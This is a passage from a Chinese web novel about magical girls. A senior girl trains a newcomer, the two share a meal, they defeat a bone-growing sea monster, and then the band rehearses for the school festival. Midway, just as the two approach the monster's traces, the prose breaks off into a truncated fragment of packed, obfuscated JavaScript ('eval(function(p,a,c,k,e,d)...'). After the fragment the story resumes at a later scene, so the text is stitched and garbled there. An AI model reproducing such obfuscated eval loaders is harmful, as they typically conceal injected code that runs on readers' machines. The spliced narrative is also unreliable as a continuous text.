森山寺未央看向远方,尝试沉下重心,但这样一来树干也随之摇晃,甚至有隐约的断裂声音传来,她连忙跳向下一处树干,造成的摇晃近乎和站在柔软的瑜伽球一样,但更没有安全感一些,同时身后树枝断裂的声音传来。 “就是这样,加油。”犬山晓的声音从她身前传来。 “…加油!”森山寺未央再次看向前方,开始下一次跳跃。 几次之后,她也隐约察觉到了如何跳跃才能达到“让跳跃的起点和终点不摇晃”的秘诀,也就是控制自己的核心,这并不是魔法能帮上忙的。她几次失去平衡都使用化影回到树干上,但如果即使是这样也没办法维持平衡,从而掉下树枝的话,犬山晓就会出手。 红色的布料像床单一样包裹住森山寺未央的全身,将其放回了树枝上。 “不要往靠近树干的着陆点跳,那里虽然承受力强,但倾斜的角度你还没办法掌控。”犬山晓一如既往沉稳的声音出现在前方。 森山寺未央深呼吸,咬咬牙继续往前跳,树林几乎没个尽头,且越往里面枝干越密集,她都不记得自己被没察觉的树枝绊倒几次了,但随着次数增加,她也意识到什么地方可能会出现什么,也变得谨慎了一些。 不知道是树林茂密,还是真的时间过的太快了,天色逐渐暗了下来。 在那之前,森山寺未央的魔力先见了底,犬山晓察觉到了这一点,带着她来到了一处还算平坦的石头上,递给她水和蛋白棒。 “我接下来会割开你的手背,可能会有点痛。”犬山晓说,森山寺未央紧张地点点头,只觉得手背一凉,有血溢出,但都停留着没有动,痛感也没有很强烈。 随后犬山晓也从自己的卫衣袖管里引出一条血线,血线从森山寺未央的手背进入,不一会,伤口愈合。森山寺未央的手被犬山晓捏住了,她像是在按摩一样捏着伤口附近,很快,森山寺未央感觉自己的血液在字面意义上的奔涌,消耗的魔力迅速恢复着。 “哇!”森山寺未央觉得这种感觉特神奇,一时都忘了吃蛋白棒。 “我的特征是强化身体素质,所以我对于控制血液循环还算了解,用血液临时携带魔力比较方便。”犬山晓解释了一番,“吃完了我们就准备出发前往海边了。” “好的。”森山寺未央紧急咀嚼蛋白棒,犬山晓给了她四根,是很热门的健身人士推荐的无添加糖牌子,分别是曲奇奶油,巧克力面团,榛子巧克力,以及牛奶脆片口味的。味道都相当不错,但因为口感扎实,她需要一直咀嚼。 对常人来说都足够抵消一两顿饭的量对她而言只是刚好补足魔力消耗后的饥饿,她将水也一饮而尽,把垃圾收入口袋里,站了起来。 “我休息好啦!”森山寺未央宣布,“我们怎么过去呀?回日之森那的话我知道怎么坐车!” “西部山区登山道有直通东部港口的北部环线,就在附近,我们坐那个过去。”犬山晓确认好森山寺未央的状态之后点了点头。 “我有一个请求!”森山寺未央举手。 “是什么呢?”犬山晓问道。 “我想看一下老师的魔法少女装束可以吗?”森山寺未央询问。 “不用叫我老师,我只是经验比你们多几年而已。”犬山晓有些不好意思,“一会去海边战斗的话我就会变身了,一会再说吧。” “好的事不宜迟我们出发吧!”森山寺未央迫不及待地说。 由犬山晓带路,二人在树林间穿梭了不过五分钟就看到了施工的痕迹,随即就是登山道,高速公路,以及车站。 “晓对于山路好熟悉啊,我之前也在森林区狩猎过,不过没有去过那么深的地方。”森山寺未央坐在车站的长椅上晃腿,路灯明亮,给二人带来了些暖意。 “我很久以前也在山区住过,而且山林里魔物也不少。不过对新手来说在地势简单的地方战斗才是正确的选择。”犬山晓说。 “那是很久以前的事情了吧,晓作为魔法少女战斗多久啦?”森山寺未央好奇地问。 “…我也不太记得了。”犬山晓说。 “这个问题是不是不该问的?”森山寺未央愣了愣,“但这个其实也不该问。抱歉,晓,我不是很能理解别人的感受,所以经常说奇怪的话。如果你觉得不好直接说出来就可以了,我从小到大被骂得可多了,不用担心我!” “不,没关系的。”犬山晓愣了愣,摆手道,“我确实是不太记得了。不过其实我也一样的,有时候不知道自己该不该说一些话,所以话不多,回应也不快。” “原来是这样!”森山寺未央笑着点头,“那至少我们两个之间就畅所欲言吧!之前我和未雅有习惯性地在教室里观察大家哦!我们给晓的归类是回应别人的时候会用‘哈?’的类型!” “这是什么类型?”犬山晓好奇地问。 “令找茬的人闻风丧胆的类型哦!不过现在来看其实是可靠的体育教练的类型。”森山寺未央说着自己觉得自己说得对,开始连连点头。 “那就好,可靠对我来说是很高的评价了。”犬山晓笑着说。 “呜啊!如果未来哪天我们因为这个分类被班里的所有人围殴请务必保护一下我们!至少别让我们被沉进食堂后面那个湖里面。”森山寺未央请求道。 “也可以,不过如果是因为你们做过的事情的话,那你们还是得道歉的哦。”犬山晓说。 “好,好吧。”森山寺未央老实低头了。 不一会,橙黄色的两截式公交车停在车站,森山寺未央上了车,犬山晓回头将垃圾丢进垃圾桶之后也刷了公交卡上车。 车上人不多,北部环线比起热门的市区环线来说,更像是为出游的人提供的观光缆车,会经过北部和西部的山区和北部绿地公园,也经过市区和大学城。 比起市内环线,车厢以不算快的速度送着二人一路抵达了东部临海线的北部终点车站,即,大学城北站。 “我一直觉得那条线应该再往北边衍生一个站点,那大家就不用转公交车去大学城文化港了,而且那里也临海的不是嘛?”森山寺未央在车上说道。 “这样一说确实,不过这里的城市基建很久没有动作了,更新和维修也不怎么有效的样子,不知道是不是只是这里这样。”犬山晓说。 “西部市区和东部市区差不多吧,主要是整个城市都这样,我祖父母家那里至少安全一点。这里应该问候一下市长大人的,不过果然还是算了吧。”森山寺未央笑了笑。 “市长,说起来,市长是羽生的父亲来着。”犬山晓想起了这件事,不由得觉得很神奇,“这样一说,市长的孩子竟然是魔法少女诶。” “现在才意识到吗?”森山寺未央说,“不知道羽生和家里人关系如何,不过她本人倒是挺亲切的。” “确实,而且她家里管的很严呢。”犬山晓说。 “毕竟是政治家的孩子,而且这样的孩子在日之森存在很多个呢,我刚刚得知我们要去日之森上学的时候可是吓了一跳。之前我们就在东部的公立学校上学的,也听说过日之森的名号,但从没想过成为这里的学生呢。”森山寺未央说。 “我之前也没想过会来这样的学校读书,不过我还挺喜欢这里的!”犬山晓笑着说,“撇开一些奇怪的作风不谈,这里的设施都很齐全,老师也都很亲切,食堂也特别好!” “没错没错!我也觉得这里的食堂特别豪华啊!”森山寺未央连连点头,“我们没来入学参观日,也就没吃上新生宴席,晓有去吗?” “去倒是去了,不过我觉得和学校平时吃的差不多?也可能是我对食材不挑吧,不太能品鉴出那些特别贵的食材好吃在哪。”犬山晓不好意思地说。 “其实我也不太信。有人说很多东西是大人才觉得好吃,但又说大人的味觉都退化了不少,所以那些说好吃的未必是真的好吃!我还是喜欢吃冰淇淋和奶油蛋糕,咸口的话喜欢厚厚的芝士披萨和奶油意大利面!”森山寺未央郑重地说。 “喜欢这种倒是可以理解,我偶尔也会这么吃。”犬山晓点了点头,“平时还是要吃健康点吧,糖分要限制哦。” “诶?明明我们都是魔法少女了!”森山寺未央不满地说,“就是要吃很多很多好吃的,要用魔法为所欲为——” 犬山晓伸出一只手,拍在了森山寺未央的肩膀上。 “未央,绝对不可以这样做哦。”犬山晓微笑着说,“绝对不可以用魔法为所欲为哦。” “诶,可是——” “不可以哦,开玩笑也不可以哦。” “好吧。”森山寺未央老实地说。 “…这是过来人的意见,靠魔法解决太多事情的话,会逐渐变得没办法在普通社会生活下去的。”犬山晓叹了口气。 “这样啊。”森山寺未央愣了愣,虽然没法理解对方话语间的感情,但也理解了其中道理。 “未央有姐姐,有爸爸妈妈,还有祖父母对吧?”犬山晓问。 “没错。”森山寺未央点头。 “那么,哪怕是为了她们这些没办法使用或者理解魔法的人,未央也不能靠着魔法为所欲为,想着靠魔法解决所有问题,就不去考虑其它东西了。”犬山晓认真地说。 “我明白了。”森山寺未央犹豫着点了点头,她忽然想到,犬山晓应该是没有任何家人的,那么她是为了什么而这样呢?单单是为了她自己吗? “话题好像有些沉重了。”犬山晓说,“一会在大学城北站附近吃饭吧,我来请客。” “不用不用,那怎么行?”森山寺未央连连摆手,非常地不好意思。 “从收入和关系来说,我们一起吃饭的话还是我来请客比较好,外食还挺贵的吧,以我们的食量来说。”犬山晓说,“而且我们还要玩乐队,未央的话是只有家里人给的生活费对吧?” “那也确实。”森山寺未央心虚地说,她还买了好多效果器,还想买新的贝斯,“乐器的话我又在挪用我的压岁钱了。” “那就把宝贵的生活费放在那些真的很想去尝试的地方吧。”犬山晓笑了,“这种我们不得不外出进食的情况,就你我在场的话就让我来请客吧,等你有了收入之后再考虑类似的事情。” “好,谢谢。”森山寺未央眼巴巴地说,“在这方面晓真的很成熟呢,平时和不太会说话的高中生一样,但面对这种很成年人的话题的时候,就真的像个成年人一样。” “…毕竟在此之前我也能算是个社会人士?”犬山晓不好意思地说,“不过如果真的要说踏入社会的话我肯定远远不够格吧,只是因为自己生活过,所以对金钱有一定概念而已。” “这就很足够了,我也是不久前和姐姐一起出来住的,之前家里的开销都是爸爸妈妈管,我们零花钱虽然比起现在不多,但那时我们也只需要买零食什么的。”森山寺未央说道,“我的姐姐她,她不太对这方面操心,所以这方面基本上是我在管,还挺神奇的,这种感觉。” “对吧?自己给自己挑洗发水也就算了,如果要挑选洗洁精的话就会有种计算生活开销的感觉了。”犬山晓笑了,“我入住宿舍的时候也有这种感觉,还挺神奇的。” “对哦,晓住在宿舍来着。”森山寺未央好奇地问,“宿舍是什么样的呢?” “没什么人,老师比较多,和普通的公寓差不多吧?”犬山晓说。 “那我们也该去宿舍来着,不对,唉还是算了。”森山寺未央很生硬地扯开了话题,“我们一会吃什么呀?” “什么都可以,你有想吃的东西吗?”犬山晓没有追究。 “我吃什么都可以!之前我基本上没有去过大学城北站附近,那里是商业区吗?”森山寺未央问道。 “还算是比较热闹的,和市区商业区肯定没办法比,但也有很多新开的店铺,大学生特别多吧,酒吧,咖啡厅,饭店都挺多的。”犬山晓介绍说。 “哦哦,酒吧!我能喝酒了也要去酒吧,像个熟客一样说给我一杯金汤力!”森山寺未央激动地说,“晓会去这种地方吗?” “不,我不喝酒,也不抽烟,也不喝咖啡。”犬山晓说,“这种地方抽烟的人特别多,所以我也不喜欢去这种地方。” “我到底是多久没见过如此健全的人了呢?”森山寺未央莫名有些感动。 “谢谢?”犬山晓回应说,“一会去看看吧,现在应该饭店都开门了。” “好哦好哦!”森山寺未央连连点头,虽然犬山晓比她矮好多,但她已经完全不在乎这方面的事情了。 公交车缓缓在车站停靠,这里的车站肉眼可见地比西部山区的更新并且现代化,有个小型的室内站台,还有自动贩卖机。 二人下了车之后走出了车站,这个时间点人流涌动,比人流更汹涌的是街道上店铺的招呼声,此起彼伏,隐约有种在较劲的感觉。 “我其实也没怎么来这里吃过饭,没办法给出什么实际性的意见。”犬山晓不好意思地说。 “待我使用一下手机地图软件!”森山寺未央摸出了自己的手机,二人站在路边开始搜寻附近的餐厅,一点餐厅图标,四周的标记密密麻麻地冒了出来。 “我看看,好多居酒屋啊,这也太多了。”犬山晓一拉列表,一半多都是居酒屋。 “有烤肉!我们去吃烤肉吧!”森山寺未央扒拉着手机说。 “那还算是比较健康的选择了,走吧。”犬山晓点了点头,二人跟着地图走到目的。 这家是较为传统的炭火烤肉店,二人排队十分钟左右后落座了,在服务员的再三确认下点了个五人家庭套餐,森山寺未央刚坐下就觉得饿了,跑去打了两个甜筒。 “晓吃吗?不吃的话我就吃两个。”森山寺未央啃食着甜筒说。 “谢谢。”犬山晓接过之后也开始啃食。 套餐很快就上齐了,森山寺未央迅速地展示了她精湛的烤五花肉技术,堆满三层小推车的菜品以肉眼可见的数量消失着,二人吃得不算急,但速度就是非常快。 “吃饱了!”森山寺未央离开前又给自己打了个巨大的甜筒。 “走吧,之前未央发现痕迹的地点在附近吗?”犬山晓问道。 “在更靠近东部市区的海岸线,那里并不是被开发过的景点或者港口区域,应该不会有什么人经过那里。”森山寺未央说道,“我们去坐列车吗?还是说就这样一路走过去?” “走过去吧,我们去离海岸线更近一点的地方。”犬山晓想了想,“去东边的东流湾港口那里吧,然后沿着海岸线搜索。即使它今晚不出来也应该会留下一些痕迹,决定出水的魔物会在完成适应性进化后彻底留在岸上的。” 二人一边走一边聊着关于魔物的事情。犬山晓开始加速前进,确认森山寺未央也跟得上。 “说起来,晓知道魔物是怎么出现的吗?”森山寺未央好奇地问道。 “我不知道,但大多数魔物实际上也能看得出一些生物性痕迹,甚至有的长得像人。”犬山晓想了想说,“我觉得魔物可能是会根据吞噬的对象产生变化,或者进化的。” “有这个可能性,我虽然驱使魔物,但也暂时还没办法理解魔物的结构。大部分魔物在我看来是纯粹的魔力集合体,但又掺杂着一些我没办法理解的物质,魔物如果被消灭了的话,那些物质不知道是被我们吸收了还是消散了。”森山寺未央说。 “我其实一直将那些物质看作是魔物的排泄物,如果是吸收了的话那就有点恶心了。”犬山晓说着有些无奈,“不过除非我们自主用魔力销毁食物残渣,不然我们也是需要排泄的。” “确实啊,哎呀这个话题有些恶心!”森山寺未央不好意思地说,“不过我没有觉得这方面的需求比以往的多,果然消化功能也变强了吗?” “没错,不仅仅是器官和□□,我们的精神力也会随着魔力上限的提升而加强。”犬山晓点了点头,“未央现在可能没有察觉到,但以后就能体验到差距了,几天不睡觉也不会疲惫也是正常的现象。使用魔力补充的话还能加强意志力。” “这就是我们魔法少女!”森山寺未央得意地笑了,“努力就会有回报的感觉可真不错。” “努力一定会有结果的。”犬山晓肯定地说。 “就是应该这样说!无论什么事,努力都会有办法的!”森山寺未央笑得很开心。 不一会,犬山晓就察觉到了不远处隐约传来的魔力气息,她逐渐慢了下来,森山寺未央跟在她身后也逐渐慢了下来。 但出乎二人意料的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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森山寺未央上前去看那些人原本所在的地方,那股臭味随着几人的离开也散去了些,石滩的地面上被用黑色的不名液体画了个看上去是法阵的东西,她看了一会,随即恍然大悟。 “那些人,大概是遇见了那个海里的魔物,觉得它是什么神明就跑来这里举行奇怪的仪式,那个毒品大概是祭品吧,那些人没有吸毒,而是准备在这里把毒品点着了。不过那不就更糟糕了吗?”森山寺未央头疼地说。 “刚刚是很聪明的做法哦,未央。”犬山晓走上前,她已经换上了魔法少女装束,身上大面积被黑色覆盖,颈部和四肢关节处有银色金属护甲,各类花纹的红色和黑色布条以及银色圆珠链子缠在肩部和腰部,脸上覆盖着银色金属面具。 “原来是这种感觉!”森山寺未央绕着圈打量着,也换上了自己的装束。 “总之,那个魔物应该就在附近的海域了。”犬山晓被打量得有些不好意思了,不过面具遮着也没人看得见她的表情,“提高警惕吧,不知道那个魔物现在是什么模样。” “如果海里的魔物要上岸的话,是要做些什么呢?”森山寺未央好奇道,“魔物不需要呼吸,就不需要腮或者肺,也不需要考虑器官的重量什么的,只需要考虑自身本体的重量吧。” “没错,主要就是考虑重力的问题,除非魔物本身的魔法就是反重力。而且水下的魔物不擅长对魔力的探测,这给了我们找到它的机会。”犬山晓感受着四周的魔力气息。 “之前晓说过,水下的魔物魔法倾向于内循环,是指的什么呢?”森山寺未央有很多疑惑,“它们是一开始就在水里的,还是后天入水的呢?” “内循环有部分是指对某个功能的特化,例如生长,净化,加快更新,这种放在陆地上只能算是辅助的魔法在水下有着独特的作用,水下水生物可狩猎量巨大,这些魔物掌握了方法之后哪怕不需要攻击魔法,也能高效率捕猎。至于源头,我只能说两者都是存在的,魔物通过吞噬进化的非常快,又没有限制,学会了之后很快就能适应环境。”犬山晓耐心地解答。 “那为什么,好不容易适应了水下,却还是要跑到地面上来呢。”森山寺未央看着近乎是黑色的海面问道。 “这我也不知道,但是未央,你看到的那只,不过是世界上无数只从水里跃出的魔物之一。我一直认为水下的魔物比地面上的还要多,甚至大部分在没有光线存在的深海,但它们没有出水的可能,我们就不需要去管。而有底气并且做好准备出水的那些,则是对人类社会的致命的威胁。”犬山晓睁开眼看向远方,波浪逐渐平息,这不是个好的征兆。 “原来是这样。”森山寺未央也意识到了事态的严重性,“只是为了保险起见啊,我们要不要去找一下羽生和艾克里普?” “你有这样的想法是很好的,你主动来找我的做法也是值得称赞的。”犬山晓笑了,“不过没关系,这样的话,不如你也趁机会锻炼一下在水面行走如何?” 说着,犬山晓施加了魔法,朝水面上走去。 森山寺未央愣了愣,她有些犹豫,前方的水面是如此的黑,与之相比哪怕是已经暗下来的天空也显得明亮了。海的末尾一波波冲刷她的鞋面,再往前一步,那就是海面。 要向前走吗?森山寺未央有些犹豫,刚才犬山晓所说的意味着对方有自信解决这件事,她的出场似乎是微不足道,甚至可能会添乱的。但与这些相比,她最为犹豫的不过是,前进的话是否会遇到危险? 海面愈发平静,但在这个时间点并不是好事,反而是肉眼可见的异常。森山寺未央还记得刚才对方所说的有危机感是好事,她还弱小,现在应该跟上去吗? 犬山晓的背影已经远去了,她走的不算快,只有红色的布条和反光的金属是显眼的。她在海面上如履平地,是魔法,也是她对自己实力的自信。 森山寺未央对自己的实力并不自信,但她有无论如何都要变强的理由,想到自己的姐姐,她的心底涌现出了勇气,她抬脚向前踩去,本冲刷鞋面的海浪变成了脚底的风,有点像是踩在海洋球泳池里,摇摇晃晃得找不到重心。 那就跑起来吧!森山寺未央下定决心,朝着犬山晓的背影跑去,她的步履不算稳,但总能在每次即将摔倒之前先跨出下一步,直到一个浪涌起,她向前扑去,有熟悉的红色布条裹住她,将她放平在海浪上。 “不仅要看前面,也要看脚下哦。”犬山晓提醒道,森山寺未央一下子就不害怕黑色的海面了,她站直了身体,召唤出了手下围在身边。 海面的浪不是偶然,那水面的浪花忽然如大海倒流般褪去,很快,海面中出现了一个漩涡,四周飘起了黑色的雨,那是漩涡激起的水滴。 漩涡越来越大,直到波及到二人所站着的海面,但她们没有被影响到,森山寺未央猜测这并不是普通的“可以站在海面上”的魔法,而是某种“固定”魔法。 天地变了色,现在是真正意义上的海天一色了,全都是黑色。那漩涡中有一个约普通轿车大小的号角凸起,不,那并不是号角,而是某种动物的形状类似号角的嘴。随着那铺天盖地的魔力气息,森山寺未央认出了,这就是那她不经意间注意到的庞大魔力气息的来源。 从远方一督的记忆瞬间被眼前的冲击性画面覆盖,但森山寺未央没有挪开视线。 那号角型的嘴像是一个突破口,下一个瞬间那魔物庞大的身躯从那突破口中钻出,黑色大楼一般的身躯激起等身高的巨浪,犬山晓没有动,于是森山寺未央也没有,她身上的布条包裹二人所在的圆形区域,隔绝出了一个干燥而温暖的空间。 “比海岸边的味道好闻多了。”犬山晓还回头安慰了一下森山寺未央。 “啊,啊对,对的。”森山寺未央一开口,才发现自己已经紧张到开始结巴了。 “一会你尽可能保持平衡,然后尝试站立,记得躲避各种攻击哦,我可能没办法顾及到你的安全。”犬山晓叹了口气。 “咦——是开玩笑的对吧?”森山寺未央一下子抱紧了自己的手杖,放在平时犬山晓盖不住自己的脸色,可现在她带了面具。 犬山晓回过头,跳出了海平面,那魔物的皮肤布满可恶的褶皱,应该存在眼球的部分凹陷,鼻孔的部分突出,大概是还没学会陆地的审美。它的双爪撕破海面之后露出了全貌,同样布满褶皱,但模仿哺乳动物的肌肉痕迹同样明显,五指间已经没有了蹼。 那魔物跃出水面后又落了回去,却没沉入海中,只是半潜在浅海部分盯着二人,犬山晓没有错过它凹下去的腹部和长长的尾巴,那都是为了上岸而做出的取舍。 那魔物无声尖啸着,海浪替它问好,犬山晓的左手覆盖上手甲,犹如被海浪抛起的一叶扁舟一般落向那魔物。 而真的被海浪抛起的森山寺未央正尽可能地从海浪中找到节奏,但她很快意识到这是徒劳,无人区的自然如此理直气壮地野蛮着,她只能主动出击。她没有使用加速或者化影,而是使用了加强攻击,将其同时附加给自己和魔物手下,魔物劈开海浪,终于给了她喘气的机会。 趁着缝隙还没消失,森山寺未央看见了犬山晓落下的一瞬间,那庞大的浮潜者咧开嘴,令人作呕的黑色褶皱触须随着海浪飞舞,带着自成一脉的舞蹈审美。犬山晓落在它的头顶,没什么打击感,但左手手甲尖端触及到那魔物的一瞬间,血红色代替黑色爆开,冲天而起。 魔物没有血液,那红是犬山晓的魔力,她的魔力从上而下贯穿那魔物,但对方似乎只是吃痛,海浪愈发汹涌了,有百余条尖细的硬刺从黑色海面下刺出,大部分袭向犬山晓,她身上的红布有自主意识一般挥舞劈碎那些刺。 被小部分围殴的森山寺未央沉气凝神,黑色的手下分裂出三对手,以迅风之势劈向来者,部分剩余的也被森山寺未央自己避开了。 【是‘增生’,是骨质增生啊。】犬山晓说道,她迅速认出了魔物的魔法。大部分魔物都只有一个魔法,但能随着进化得到新的更好用的魔法。 水面之下,增生者若是可以肆意地生长,那规模成为某种海底矿脉只是时间问题吧,此时为了上岸却缩成如今这副模样,甚至披上了血肉。 【好恶心噢。】森山寺未央评价说。 【这也是没办法的啦。】犬山晓笑了。 犬山晓劈碎了骨刺之后更多更粗的骨刺从水面之下袭来,但她已经没耐心等了。 那手甲覆盖着的左手五指握紧,那魔物的攻势停了一瞬间,下一刻更加疯狂了。有红色的纹理从犬山晓的左手逐渐衍生的水面下方,几个呼吸之后,她微微下蹲,随后左右手一齐用力紧握,下肢用力一蹬,整个人一个后空翻向后跳去。 风浪太大了,就像是大海在颤抖一般,水面一瞬间下降了好多,但森山寺未央有了准备,就没有摔的很惨。 海浪之后,犬山晓将那如一栋楼一般高大的魔物整个提出了水面,那魔物浑身上下布满如裂纹般的脉络,似乎是不相信自己就这样被迫上了岸。 但随后,那些红色的脉络动了,如丝线般在那魔物身上游走,犬山晓落在水面上之后左手一翻,一扯,一勾,红色的线收紧,绷直,那魔物被红色丝线切割开来,不同粗细的骨刺从内部爆出,那就是它的本质,外表的一切不过是外壳。 那白色骨刺如疯了一般,岔开之后在尾端再次岔开,如黑色天地间自顾自绽放的白色烟花,犬山晓一一挡下,回头看了眼森山寺未央确认对方状态。 大概五分钟后,炸开的速度放慢了,再过去两分钟,骨刺不再主动增生,再过去两分钟,骨刺开始变黑,随后消散了,化为魔力拥入犬山晓和森山寺未央体内。 “走吧,回去了。”犬山晓回到森山寺未央身边把她拉起来,安慰道,“没有落进水里就很好了,不然我还得下海去捞你。” “谢谢,谢谢,谢谢。”森山寺未央说话还是有点结巴,“各方面都谢谢,晓,我没帮上什么忙,只是在跑来跑去确保自己的安全问题,你战斗超帅的,我根本没怎么帮忙,但是获得了好多魔力,我变强了好多,以后训练会加油的,谢谢。” “这样就很好了。”犬山晓换下了魔法少女装束,“魔力只是魔力,但如果你能活下去,那就是多了一个朋友,我魔力的基数很大,朋友的基数很小。” “我,我的两个的基数都很小。”森山寺未央老实地说,“但是,我会变得很强的。” “那就太好了,走吧,怎么站在那不动?”犬山晓有些奇怪。 “腿软软的。”森山寺未央拉扯了一下自己,“好了,走吧走吧。” “没事就行,走吧。”犬山晓放下心来。 二人离开了海面,回到了陆地上。 “增生对于陆地上的存在来说,大概只能作为即时发动的魔法,或者治疗魔法吧。”森山寺未央思索着说,“但是对于海底的存在来说,增生是毫无疑问的变强利器啊,毕竟水生物体型能决定很多东西。那个魔物为什么要跑到海面上来呢?” “可能也想尝试一下社会化自己吧。”犬山晓说。 “魔物也有可能社会化吗?”森山寺未央好奇地问,“海底没有火,纯粹靠生物的话确实没什么社会发展可言就是了。” “会的吧,魔物吃人吃多了就能理解人,并且模仿人。”犬山晓说,“虽然魔法少女总能认出来,但对于普通人来说,没有人会怀疑自己身边一个有些奇怪的存在不是人吧。” “像恐怖小说一样。”森山寺未央摸了摸手臂,“我们城市里也有吗?” “肯定有的,但是艾克里普从很久以前就开始狩猎魔物,她是很强大的存在,这个城市里已经不存在强大的能藏在人之间模仿人类的吃人魔物了。”犬山晓说。 “…希望有一天,晓也能说‘因为这里有未央在’这样的话。”森山寺未央看着远方的灯火说,“不,不是希望,一定会有这么一天的。” “没错,我以前也没想过我还能有保护新手魔法少女的一天,这种感觉还挺神奇的。”犬山晓笑了。 “还有当教练的一天呢,以后我们还会有别的教学项目吗?” “有,而且今天的这种未央也必须经常练习哦,一天一次是基本的。” “居然只是基本的吗?!不过我会做到的!” “加油哦。” 14. 伍 Mirare的演出时间被安排在一个靠前的位置,彩排当天乐队几人提前等候在了演出厅的后场休息区,等待广播喊她们上台。 此时休息室内人还不算多,有学生会的工作人员在边上的桌子上摆上点心和茶水,偶尔有其它社团的成员经过并对几人打招呼。 “总感觉有点紧张。”森山寺未央一边说着一边面无表情地喝水,摸出她那屏幕碎成几块的手机,但只是随意翻了翻,没有真的玩些什么。 “这是彩排,明天下面有人看着你可能就不紧张了。”犬山晓开了个玩笑。 有乐羽生笑出声,她很喜欢这种反逻辑的笑话,森山寺未央不说话只是一直喝水。 “一会我们彩排是要干什么呢?要演奏一遍吗?”艾克里普不清楚流程,但也没有多紧张。 “先乐器试音,每个乐器按广播说的试音,然后耳麦试音,差不多了就正式排练,只需要演奏一部分,最后调整一下设备和灯光就好了。”森山寺未央一字一句地说,声音挺冷静的,但谁都能看出来她很紧张。 “点心居然是糯米团子,而且好多种。”犬山晓到边桌旁查看点心。 “这个是传统呢,日之森的演出时间后台点心都是这个。”有乐羽生笑着拿起一根三色团子,圆润的糯米团三颗穿在一根竹签上,手持部分的竹签印着口味名称。 “这是什么传统吗?丸子的花纹很特殊呢。”艾克里普好奇地问。 “花纹是这家的品牌花纹哦,不过选择这一家就只是因为采购管理员的喜好而已吧,学生们并没有表达过异议,就一直没有改动过。”有乐羽生摇摇头。 几人吃着团子谈话间,广播开始呼喊Mirare乐队上台。 舞台上,光透过礼堂演出厅高处的玻璃天窗洒落在地面,空气中弥漫着微微的尘埃,淡黄色的光斑在黑色的舞台地板上投下柔和的剪影。四周的红色幕布半掩,舞台两侧摆放着尚未完全调整好的音响设备,黑色的线缆像是舞台蜿蜒的脉络,连接着麦克风、效果器和黑暗的角落。 台下的观众席首排零星坐着一些工作人员,负责音控和灯光的学生们在调音台前交流着参数,偶尔传来的话语混杂在回响不散的伴奏音乐声中。 舞台中央,乐队成员们正在做最后的调整。有乐羽生站在复合式电子琴前,低头整理着歌词本。犬山晓和森山寺未央肩上背着乐器,艾克里普坐在架子鼓后方观察四周,对这个视角感到很新奇。 调音没有消耗太多时间,随即开始了排练,最后一次排练完毕,几人都长舒一口气。 “真不敢想象明天会是什么样,礼堂居然这么多座位我以前怎么没发现呢。”森山寺未央活动了一下手腕。 “我感觉良好哦,不知道明天的人流量比起以往有什么区别。”有乐羽生一边用吸管喝着水一边想着。 “对了!未雅说要给我们录像。”森山寺未央想起来这件事。 “要留下记录吗?那可得认真起来了!”艾克里普下定决心全力以赴。 “明天是不是能穿自己的衣服来着?”几人一边往台下走一边聊着天,后续的彩排继续进行着。 第二天校园祭。 上午九点,晨光洒落在校园的每一个角落,天空是很给面子的湛蓝而明亮,空气中带着春日微风的气息和暖意。日之森从前一天开始就被银色,蓝色,金色的和平鸽形状吉祥物气球包围了,气球被风吹着,反光波光粼粼。 这三个颜色也是日之森制服的颜色,蓝色代表和平,金色代表勇敢,银色代表宽容。这三个形容词是日之森建校以来一直保持的校训,并没有因为时代的发展而改变。 此时校门口已然热闹非凡,几个身着日之森的简笔画和平鸽吉祥物服装的学生在入口处向每位来宾递上纪念徽章和白色手环,有矮一些的吉祥物专门为孩子服务,还有印着学校标志的笔记本文件夹圆珠笔三件套被赠送,这些都是学生会负责设计和定制的。 大概是因为来客很多,日之森今日的安保人员也尤其多,各个入口都有人站岗,但依旧只有东南角的主入口对外开放。停车场几乎满员,校外车道上疏导人员的口哨声此起彼伏。 活动区域是昨晚被工作人员布置好,此时化身为热闹的商业街,各班级和社团精心布置了自己的小摊,有学生手工制作的饮食,还有学校周围的一些本地商店提供小商品,一旁的露天休息区有几人坐下彼此侃侃而谈,这些摊位的管理也由学生会成员负责。 “学生就算了,老师居然也要轮班帮忙啊。”西西路将头套用力摘下,试图以此来发泄自己对于这种体力活动的不满。 “别抱怨了,给家长留下可靠的印象是非常重要的,休息一会去吧。”古河梦久与接下来负责的老师交接完毕之后转身对她招招手。 “说起来我们到底是为什么是一个排班?到底是有哪里的黑暗的大手把我们抓一起了?”嘴上这样说着,西西路还是迅速地交接好后跟了上去,她腿脚还不比大她一轮的古河梦久利索。 虽然说一开始古河梦久对这个被强塞到身边的助教不太满意,但西西路确实很快地转变了态度,虽然仅仅是表面上,但古河梦久也不能要求所有人都和她一样。同时在相处之后她发现这个助教虽然不擅长教学却对知识有着相当强的求知欲,由于年龄上的差距,古河梦久有时也会拿她当半个学生看。 几乎所有老师都会在校园祭那出现,哪怕是诺拉老师也会帮忙站在路口给小朋友指路,因为校园祭不仅仅是一次校园活动,更是向社会展示日之森校园氛围的一次机会。多年来日之森在教育界内口碑很好,不仅仅是因为其强调多元化的做法,也有各种活动宣传展示的效果。 “咦?那个人是?”西西路在离开门口前注意到了一位独自排队的孩子,其右眼上的眼罩和拐杖有吸引到一些注意,为小孩服务的吉祥物为她左手绑上手环,她彬彬有礼地道谢。 “得去摊位区帮忙了,这里人手足够。”古河梦久习惯性地皱着眉头说。 “明白了古河老师,走吧。”西西路笑了笑,转头跟上了。 而刚刚从入院处离开的启明星注意到了这股转瞬即逝的视线,偏头去看,只看见了对方离开的背影。 校园祭正式开始不久,Mirare的乐队几人都在校园内闲逛着,礼堂内演出厅,工作人员正在如火如荼地准备中,路过的人不时能听见从紧闭的门里传出不明噪音。 陪着不愿意去人多的地方的姐姐呆在艺术展厅的森山寺未央遇见了犬山晓,三人打了声招呼,学校允许学生们在今天自己选择着装。几人约好了穿自己喜欢的颜色的衣服,但整体是休闲风格,并且要方便乐队结束后出去玩。 森山寺姐妹穿着明黄色的毛衣套衫,袖子宽大,内部垫着一件白色衬衣,两者的着装一模一样。犬山晓则是选择了衣柜中少许带着红色几何图形的衣服,整体看上去颇有朋克风格,为了防止演出中没注意手掌伤到吉他还戴了露指手套。 “羽生她好像很早就到了,不过现在有点事。”犬山晓也习惯了直接称呼朋友们的名字,也被直接称呼名字,“你们看见艾克里普了吗?” “她应该是被叫去帮忙了吧,因为她个子很高不是吗?”森山寺未雅想起来的时候有人在找人帮忙贴东西。 